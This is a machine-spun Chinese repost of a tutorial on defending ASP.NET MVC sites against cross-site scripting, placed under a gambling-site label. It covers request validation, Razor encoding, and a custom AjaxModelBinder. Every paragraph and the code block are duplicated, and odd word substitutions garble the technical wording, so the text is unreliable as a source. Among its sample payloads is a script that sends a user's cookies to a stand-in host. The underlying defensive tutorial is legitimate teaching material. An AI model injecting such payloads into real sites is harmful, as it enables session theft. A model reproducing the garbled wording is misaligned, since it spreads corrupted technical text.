新萄京Web安全有关(一):跨站下论攻击(XSS)Web安全相关(一):跨站脚论攻击(XSS)

简介
  跨站下论攻击(Cross
Site Scripting),为无与层叠样式表(Cascading Style Sheets,
CSS)的缩写混淆,故将跳站下论攻击缩写为XSS。恶意攻击者往Web页面里插恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会为实践,从而达到恶意抨击用户之特目的,比如取用户的Cookie,导航及黑心网站,携带木马等。

简介
  跨站脚论攻击(Cross
Site Scripting),为非与层叠样式表(Cascading Style Sheets,
CSS)的缩写混淆,故将超越站脚论攻击缩写为XSS。恶意攻击者往Web页面里安插恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会给执行,从而达成恶意抨击用户的突出目的,比如取用户之Cookie,导航及黑心网站,携带木马等。

一些场景

部分场景

  1.
恶意攻击者可当民用介绍中插入恶意代码,那么其他用户访问他的个人信息时,就会实行恶意代码。
  2.
恶意攻击者可发表一篇稿子,取一个吸引眼球的题,在情节里插恶意代码,那么用户查看这篇稿子时,就会实施恶意代码。
  3.
恶意攻击者在片看好文章或帖子里之还原或留言中插恶意代码,那么用户浏览到外的复或留言时,就会尽恶意代码。

  1.
恶心攻击者可于个体介绍其中插入恶意代码,那么其他用户访问他的个人信息时,就会见履恶意代码。
  2.
恶心攻击者可上一首文章,取一个掀起眼球的标题,在内容里插恶意代码,那么用户查看这首文章时,就会见履行恶意代码。
  3.
黑心攻击者在局部香文章或帖子里之回升或留言中插恶意代码,那么用户浏览到外的东山再起或留言时,就见面实施恶意代码。

防范XSS的少数个阶段

预防XSS的个别只级次

  1.
交由数据常常,就对准数据开展求证,如果带有恶意脚本,则不为数据进库,ASP.NET
MVC默认是会见召开这证。如下图,如果打算插入恶意脚本,就见面取得一个HttpRequestValidationException。注:图2红色框中之法子后续会干。

  1.
交付数据经常,就对数码开展认证,如果含有恶意脚本,则未叫数进库,ASP.NET
MVC默认是会开此证明。如下图,如果打算插入恶意脚本,就会见得到一个HttpRequestValidationException。注:图2红色框中的方法后续会涉及。

    
新萄京 1

    
新萄京 2

                  图1

                  图1

    
新萄京 3

    
新萄京 4

                  图2

                  图2

  如果我们要允许下论入库,可以当对应之Action上丰富[ValidateInput(false)]。此时恶意脚论还无克生威慑,因为还有后面一个号的预防措施。

  如果我们用允许下论入库,可以在相应的Action上添加[ValidateInput(false)]。此时恶意脚论还非克生出威胁,因为还有后面一个号的严防措施。

     
新萄京 5

     
新萄京 6

                  图3

                  图3

     
新萄京 7

     
新萄京 8

                   
图4

                   
图4

 2.
出口数据常常,对输出的情以HTML编码,恶意脚论无见面被实施。而且,MVC的Razor语法默认就用HTML编码。但是倘若我们运用Html.Raw()来输出内容的讲话,恶意脚本就见面起威慑。

 2.
输出数据常常,对出口的情以HTML编码,恶意脚论无会见为实施。而且,MVC的Razor语法默认就运HTML编码。但是只要我们以Html.Raw()来输出内容之口舌,恶意脚本就会有威慑。

     
新萄京 9

     
新萄京 10

                 图5

                 图5

    
新萄京 11

    
新萄京 12

                 图6

                 图6

 一些恶心脚本

 一些恶意脚本

  1.
简单的弹窗或者内容展示。
  <script>alert(‘你受地下了!’)</script>
 
  2.
导航及黑心网站。注:这里只是采用百度网站作为导航演示,并无是说百度网站是恶意网站。
   
<script>window.location.href=’http://www.baidu.com';&lt;/script&gt;
 
  3. 
获取cookies。
  <script>alert(document.cookie)</script>
  <script>window.location.href=’http://www.example.com?cookies=document.cookie';&lt;/script&gt;

  1.
简单的弹窗或者内容展示。
  <script>alert(‘你为黑了!’)</script>
 
  2.
导航及黑心网站。注:这里只是采用百度网站作为导航演示,并无是说百度网站是恶意网站。
   
<script>window.location.href=’http://www.baidu.com';&lt;/script&gt;
 
  3. 
获取cookies。
  <script>alert(document.cookie)</script>
  <script>window.location.href=’http://www.example.com?cookies=document.cookie';&lt;/script&gt;

 $.ajax数据证明失效?

 $.ajax数据证实失效?

  我们设我们的需是休容许含有恶意脚本的数目进库的,但是咱下了jquey的ajax进行相互。

  我们而我们的需是休允含有恶意脚本的数量进库的,但是咱运用了jquey的ajax进行互。

     
新萄京 13

     
新萄京 14

                图7

                图7

     
新萄京 15

     
新萄京 16

                图8

                图8

     
新萄京 17

     
新萄京 18

                图9

                图9

     
新萄京 19

     
新萄京 20

              图10

              图10

  数据还是进库,为什么呢?我们来研讨下图2吉利框中之不二法门。

  数据或者进库,为什么吧?我们来钻下图2开门红框中的点子。

     
新萄京 21

     
新萄京 22

                图11

                图11

     
新萄京 23

     
新萄京 24

                图12

                图12

  从图12着,我猜测MVC会对Request中的上述内容展开说明,可是jquery
ajax的数目是存在Request的Content里面的,因此,默认的辨证对jquery
ajax并无效益。

  从图12蒙受,我猜测MVC会对Request中的上述内容展开认证,可是jquery
ajax的数码是存Request的Content里面的,因此,默认的辨证对jquery
ajax并无意义。

 $.ajax数据证明实现

 $.ajax数据证实实现

  要针对性$.ajax进行数据说明,我从ModelBinder下手。具体代码如下:

  要对$.ajax进行数量说明,我打ModelBinder下手。具体代码如下:

 1 public class AjaxModelBinder : DefaultModelBinder
 2     {
 3         protected override bool OnPropertyValidating(ControllerContext controllerContext, ModelBindingContext bindingContext, PropertyDescriptor propertyDescriptor, object value)
 4         {
 5             var contentType = controllerContext.HttpContext.Request.ContentType;
 6 
 7             if (contentType.Equals("application/json", StringComparison.OrdinalIgnoreCase) &&
 8                 value is string &&
 9                 controllerContext.Controller.ValidateRequest &&
10                 bindingContext.PropertyMetadata[propertyDescriptor.Name].RequestValidationEnabled)
11             {
12                 if (IsDangerousString(value.ToString()))
13                 {
14                     throw new HttpRequestValidationException("在请求中检测到有潜在危险的值!");
15                 }
16             }
17 
18             return base.OnPropertyValidating(controllerContext, bindingContext, propertyDescriptor, value);
19         }
20 
21         /// <summary>
22         /// Refer the method "System.Web.CrossSiteScriptingValidation.IsDangerousString".
23         /// </summary>
24         private static bool IsDangerousString(string str)
25         {
26             var startingChars = new[] { '<', '&' };
27             var startIndex = 0;
28 
29             while (true)
30             {
31                 var index = str.IndexOfAny(startingChars, startIndex);
32 
33                 if (index < 0)
34                 {
35                     return false;
36                 }
37 
38                 if (index == (str.Length - 1))
39                 {
40                     return false;
41                 }
42 
43                 var ch = str[index];
44 
45                 if (ch != '&')
46                 {
47                     if ((ch == '<') && ((IsAtoZ(str[index + 1]) || (str[index + 1] == '!')) || ((str[index + 1] == '/') || (str[index + 1] == '?'))))
48                     {
49                         return true;
50                     }
51                 }
52 
53                 else if (str[index + 1] == '#')
54                 {
55                     return true;
56                 }
57 
58                 startIndex = index + 1;
59             }
60         }
61 
62         private static bool IsAtoZ(char c)
63         {
64             return (((c >= 'a') && (c <= 'z')) || ((c >= 'A') && (c <= 'Z')));
65         }
66     }
 1 public class AjaxModelBinder : DefaultModelBinder
 2     {
 3         protected override bool OnPropertyValidating(ControllerContext controllerContext, ModelBindingContext bindingContext, PropertyDescriptor propertyDescriptor, object value)
 4         {
 5             var contentType = controllerContext.HttpContext.Request.ContentType;
 6 
 7             if (contentType.Equals("application/json", StringComparison.OrdinalIgnoreCase) &&
 8                 value is string &&
 9                 controllerContext.Controller.ValidateRequest &&
10                 bindingContext.PropertyMetadata[propertyDescriptor.Name].RequestValidationEnabled)
11             {
12                 if (IsDangerousString(value.ToString()))
13                 {
14                     throw new HttpRequestValidationException("在请求中检测到有潜在危险的值!");
15                 }
16             }
17 
18             return base.OnPropertyValidating(controllerContext, bindingContext, propertyDescriptor, value);
19         }
20 
21         /// <summary>
22         /// Refer the method "System.Web.CrossSiteScriptingValidation.IsDangerousString".
23         /// </summary>
24         private static bool IsDangerousString(string str)
25         {
26             var startingChars = new[] { '<', '&' };
27             var startIndex = 0;
28 
29             while (true)
30             {
31                 var index = str.IndexOfAny(startingChars, startIndex);
32 
33                 if (index < 0)
34                 {
35                     return false;
36                 }
37 
38                 if (index == (str.Length - 1))
39                 {
40                     return false;
41                 }
42 
43                 var ch = str[index];
44 
45                 if (ch != '&')
46                 {
47                     if ((ch == '<') && ((IsAtoZ(str[index + 1]) || (str[index + 1] == '!')) || ((str[index + 1] == '/') || (str[index + 1] == '?'))))
48                     {
49                         return true;
50                     }
51                 }
52 
53                 else if (str[index + 1] == '#')
54                 {
55                     return true;
56                 }
57 
58                 startIndex = index + 1;
59             }
60         }
61 
62         private static bool IsAtoZ(char c)
63         {
64             return (((c >= 'a') && (c <= 'z')) || ((c >= 'A') && (c <= 'Z')));
65         }
66     }

  然后在Global.asax.cs中注册AjaxModelBinder。

  然后在Global.asax.cs中注册AjaxModelBinder。

新萄京 25

新萄京 26

              图13

              图13

  那么,输入数据有黑心脚本时就是会见为检测出。

  那么,输入数据有恶心脚本时虽会受检测出。

 新萄京 27

 新萄京 28

                图14

                图14

  关于AjaxModelBinder中之IsDangerousString方法,我是从.Net的源码拷贝过来的。

  关于AjaxModelBinder中之IsDangerousString方法,我是从.Net的源码拷贝过来的。

 新萄京 29

 新萄京 30

                  图15

                  图15

AntiXSS第三在组件

AntiXSS第三方组件

  如果使用.Net4.0与以上的版本,那么即便非需引入AntiXSS,因为.Net
4.0既拿AntiXSS集成进来了。如果是任何版本则需要引入。

  如果使用.Net4.0跟以上之版,那么就算不需引入AntiXSS,因为.Net
4.0早就把AntiXSS集成进来了。如果是任何版本则需要引入。

源码下载

  为了方便使用,我从没采用其它数据库,而是用了一个文本来囤数据。代码下载后方可一直运行,无需配置。

  下载地址:https://github.com/ErikXu/XSS

  新萄京 31

 

章转载自:http://www.cnblogs.com/Erik_Xu/p/5403773.html

源码下载

  为了方便使用,我并未采取其他数据库,而是用了一个文本来囤积数据。代码下载后方可直接运行,无需配置。

  下载地址:https://github.com/ErikXu/XSS

  新萄京 32

 

文章转载自:http://www.cnblogs.com/Erik_Xu/p/5403773.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注